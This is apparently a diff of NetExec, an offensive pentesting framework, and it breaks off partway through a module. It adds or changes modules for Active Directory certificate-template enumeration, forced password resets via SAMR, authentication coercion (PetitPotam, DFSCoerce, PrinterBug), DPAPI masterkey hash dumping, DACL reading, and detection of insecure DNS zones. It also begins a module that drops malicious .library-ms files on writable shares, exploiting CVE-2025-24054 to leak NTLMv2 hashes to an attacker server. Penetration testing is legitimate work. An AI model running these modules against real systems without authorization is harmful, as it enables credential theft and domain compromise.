NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
@@ -43,7 +45,7 @@ class BitLockerSMB:
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
@@ -51,10 +53,10 @@ class BitLockerSMB:
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
@@ -85,7 +87,7 @@ class BitLockerWMI:
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
@@ -93,7 +95,7 @@ class BitLockerWMI:
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
@@ -113,7 +115,7 @@ class BitLockerWMI:
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
+137
View File
@@ -0,0 +1,137 @@
#!/usr/bin/env python3
import json
import socket
from os import makedirs
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
"""Module made by: @NeffIsBack, @gatariee"""
name = "certipy-find"
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
VULN Show only vulnerable configurations (Default: True)
ENABLED Show only enabled templates
Export options:
TEXT Export results to a plain text file
CSV Export results to a CSV file
JSON Export results to a JSON file
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.json = False
self.csv = False
self.text = False
if "VULN" in module_options:
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
if "ENABLED" in module_options:
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
# Export options
if "JSON" in module_options:
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
if "CSV" in module_options:
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
if "TEXT" in module_options:
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
def on_login(self, context, connection):
dns_server = connection.args.dns_server
if not dns_server:
try:
# If connection.host is an IP, use it as DNS
socket.inet_aton(connection.host)
dns_server = connection.host
except Exception:
# Otherwise let DnsResolver use system resolver (None)
dns_server = None
resolv = DnsResolver.create(dns_server)
# prefer connection.hostname if present, otherwise connection.host
remote = (connection.hostname or connection.host) or ""
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
target = Target(
resolver=resolv,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=connection.remoteName,
lmhash=connection.lmhash,
nthash=connection.nthash,
do_kerberos=connection.kerberos,
target_ip=connection.host,
ldap_port=connection.port,
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
ldap_signing=connection.signing_required,
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
)
finder = Find(
target=target,
json=self.json,
csv=self.csv,
text=self.text,
output_path=self.output_path,
stdout=True,
vulnerable=self.vuln,
enabled=self.enabled,
)
# Get templates and CAs
templates = finder.get_certificate_templates()
cas = finder.get_certificate_authorities()
finder._link_cas_and_templates(cas, templates)
# Get OIDs
oids = finder.get_issuance_policies()
# Process information
finder._link_templates_and_policies(templates, oids)
finder._process_ca_properties(cas)
finder._process_template_properties(templates)
output = finder.get_output_for_text_and_json(templates, cas, oids)
pretty_print(output, print_func=context.log.highlight)
# Save to disk if any export option specified
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
json.dump(
output,
f,
indent=2,
default=str,
)
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+29 -19
View File
@@ -1,6 +1,7 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,6 +13,7 @@ class NXCModule:
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -110,32 +112,40 @@ class NXCModule:
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
except Exception as e:
context.log.fail(f"Password change failed: {e}")
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
try:
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
user = self.context.db.get_user(target_domain, target_username)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
# Store the new credentials in the database
if new_nthash:
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
def _hSamrOpenUser(self, connection, username):
"""Get handle to the user object"""
try:
+22 -28
View File
@@ -1,16 +1,17 @@
from impacket import uuid
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
from nxc.helpers.misc import CATEGORY
import contextlib
class NXCModule:
name = "coerce_plus"
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -211,6 +212,15 @@ class NXCModule:
context.log.error("Invalid method, please check the method name.")
return
@staticmethod
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
dce.connect()
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
class ShadowCoerceTrigger:
def __init__(self, context):
@@ -387,8 +397,8 @@ class DFSCoerceTrigger:
"""
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["Comment"] = "lodos\x00"
request["Share"] = "x:\\lodos2005\x00"
request["Comment"] = "test\x00"
request["Share"] = "x:\\test\x00"
dce.request(request)
except Exception as e:
@@ -409,7 +419,7 @@ class DFSCoerceTrigger:
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
request["pTargetPath"] = NULL
request["MajorVersion"] = 0
request["pComment"] = "lodos\x00"
request["pComment"] = "test\x00"
request["NewNamespace"] = 0
request["Flags"] = 0
dce.request(request)
@@ -472,7 +482,7 @@ class DFSCoerceTrigger:
request = NetrDfsAddStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["Comment"] = "lodos\x00"
request["Comment"] = "test\x00"
request["ApiFlags"] = 0
dce.request(request)
except Exception as e:
@@ -528,6 +538,11 @@ class PetitPotamtTrigger:
},
}
# activates EFS
# https://specterops.io/blog/2025/08/19/will-webclient-start/
with contextlib.suppress(Exception):
NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.set_dport(445)
@@ -755,27 +770,6 @@ class PrinterBugTrigger:
def __init__(self, context):
self.context = context
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
try:
dce.connect()
except Exception as e:
self.context.log.warning(f"Failed to connect to endpoint mapper: {e}")
raise e
try:
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
self.context.log.debug(
f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}"
)
return endpoint
except Exception as e:
self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
raise e
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"spoolss": {
@@ -784,7 +778,7 @@ class PrinterBugTrigger:
"port": 445
},
"[dcerpc]": {
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": None
}
+81 -115
View File
@@ -1,10 +1,10 @@
import binascii
import codecs
import json
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
@@ -189,6 +189,12 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
}
class NXCModule:
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
@@ -200,14 +206,23 @@ class NXCModule:
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
# Initialize module variables
self.principal_sAMAccountName = None
self.principal_sid = None
self.action = "read"
self.ace_type = "allowed"
self.rights = None
self.rights_guid = None
def options(self, context, module_options):
"""
Be careful, this module cannot read the DACLS recursively.
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
@@ -226,57 +241,48 @@ class NXCModule:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
sys.exit(1)
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options["TARGET"]):
try:
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
self.targets = []
self.target_SID = None
if module_options and "TARGET_DN" in module_options:
self.target_DN = module_options["TARGET_DN"]
self.target_sAMAccountName = None
self.target_file = None
if module_options and "PRINCIPAL" in module_options:
for option in "TARGET", "TARGET_DN":
if option in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Adding target: {module_options[option]}")
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
if not self.targets:
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
sys.exit(1)
if "PRINCIPAL" in module_options:
self.principal_sAMAccountName = module_options["PRINCIPAL"]
else:
self.principal_sAMAccountName = None
self.principal_sid = None
if module_options and "ACTION" in module_options:
if "ACTION" in module_options:
self.action = module_options["ACTION"]
else:
self.action = "read"
if module_options and "ACE_TYPE" in module_options:
if "ACE_TYPE" in module_options:
self.ace_type = module_options["ACE_TYPE"]
else:
self.ace_type = "allowed"
if module_options and "RIGHTS" in module_options:
if "RIGHTS" in module_options:
self.rights = module_options["RIGHTS"]
else:
self.rights = None
if module_options and "RIGHTS_GUID" in module_options:
if "RIGHTS_GUID" in module_options:
self.rights_guid = module_options["RIGHTS_GUID"]
else:
self.rights_guid = None
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
self.connection = connection
self.context = context
self.connection = connection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
@@ -294,86 +300,49 @@ class NXCModule:
return
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
for target, search_filter in self.targets:
try:
# Searching for target account with its security descriptor
if self.target_sAMAccountName: # noqa: SIM108
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
else:
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
resp = connection.search(
searchFilter=search_filter,
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
target_principal_dn = resp_parsed["distinguishedName"]
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
except Exception as e:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
context.log.fail(f"Target SID not found in LDAP ({target})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
continue
if self.action == "read":
self.read(context)
self.read(principal_security_descriptor)
if self.action == "backup":
self.backup(context)
# If there are multiple targets
else:
targets = self.target_file.readlines()
for target in targets:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
self.read(context)
if self.action == "backup":
self.backup(context)
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
# Main read funtion
# Prints the parsed DACL
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
def read(self, principal_security_descriptor):
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
self.print_parsed_dacl(parsed_dacl)
# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
def backup(self, context):
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
backup = {}
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
with codecs.open(self.filename, "w", "latin-1") as outfile:
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(target_principal_dn)
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
filename = f"dacledit-{timestamp}-{target}.bak"
with open(filename, "w", encoding="latin-1") as outfile:
json.dump(backup, outfile)
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
self.context.log.highlight(f"DACL backed up to {filename}")
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
@@ -394,11 +363,11 @@ class NXCModule:
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, context, dacl):
def parse_dacl(self, dacl):
parsed_dacl = []
context.log.debug("Parsing DACL")
self.context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(context, ace)
parsed_ace = self.parse_ace(ace)
parsed_dacl.append(parsed_ace)
return parsed_dacl
@@ -413,7 +382,7 @@ class NXCModule:
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
def parse_ace(self, context, ace):
def parse_ace(self, ace):
# For the moment, only the Allowed and Denied Access ACE are supported
if ace["TypeName"] in [
"ACCESS_ALLOWED_ACE",
@@ -455,12 +424,9 @@ class NXCModule:
except KeyError:
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
else: # if the ACE is not an access allowed
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
@@ -469,18 +435,18 @@ class NXCModule:
}
return parsed_ace
def print_parsed_dacl(self, context, parsed_dacl):
def print_parsed_dacl(self, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
context.log.debug("Printing parsed DACL")
self.context.log.debug("Printing parsed DACL")
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for i, parsed_ace in enumerate(parsed_dacl):
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
@@ -494,7 +460,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -502,7 +468,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -510,13 +476,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -524,7 +490,7 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight(f"ACE[{i}] info")
self.print_parsed_ace(parsed_ace)
+5 -1
View File
@@ -1,7 +1,11 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "dfscoerce"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -15,4 +19,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+68
View File
@@ -0,0 +1,68 @@
from impacket.structure import Structure
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @MaxToffy"""
name = "dns-nonsecure"
description = "Detects DNS zones that allow nonsecure dynamic updates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
search_bases = {
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
}
for dns_type, search_base in search_bases.items():
# Search for domain DNS zones
resp = connection.search(
searchFilter="(objectClass=dnsZone)",
attributes=["name", "dNSProperty"],
baseDN=search_base,
)
zones = parse_result_attributes(resp)
# Get dynamic updates configuration for each zones
allows_nonsecure_updates = []
for zone in zones:
for prop in zone["dNSProperty"]:
dns_properties = DNS_PROPERTY(prop)
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
allows_nonsecure_updates.append(zone["name"])
if allows_nonsecure_updates:
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
for zone in allows_nonsecure_updates:
context.log.highlight(zone)
else:
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
# [MS-DNSP] - 2.3.2.1 - dnsProperty
class DNS_PROPERTY(Structure):
structure = (
("DataLength", "<L-Data"),
("NameLength", "<L"),
("Flag", "<L"),
("Version", "<L"),
("Id", "<L"),
("Data", ":"),
("Name", "1s"),
)
# [MS-DNSP] - 2.3.2.1.1 - Property Id
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
ZONE_UPDATE_OFF = 0x00000000
ZONE_UPDATE_UNSECURE = 0x00000001
ZONE_UPDATE_SECURE = 0x00000002
+6 -5
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
@@ -10,6 +10,7 @@ class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
@@ -34,12 +35,12 @@ class NXCModule:
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
@@ -57,6 +58,6 @@ class NXCModule:
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
context.log.debug(f"Could not get masterkeys: {e}")
+90
View File
@@ -0,0 +1,90 @@
import ntpath
from nxc.paths import TMP_PATH
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
Module by: @XedSama
"""
name = "drop-library-ms"
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.server = None
self.lms_name = ""
self.cleanup = False
self.local_path = None
self.remote_path = None
def options(self, context, module_options):
"""
SERVER Attacker machine
NAME File name
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleaning option (True or False)
"""
if "SERVER" not in module_options and not self.cleanup:
context.log.fail("SERVER option is required")
exit(1)
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
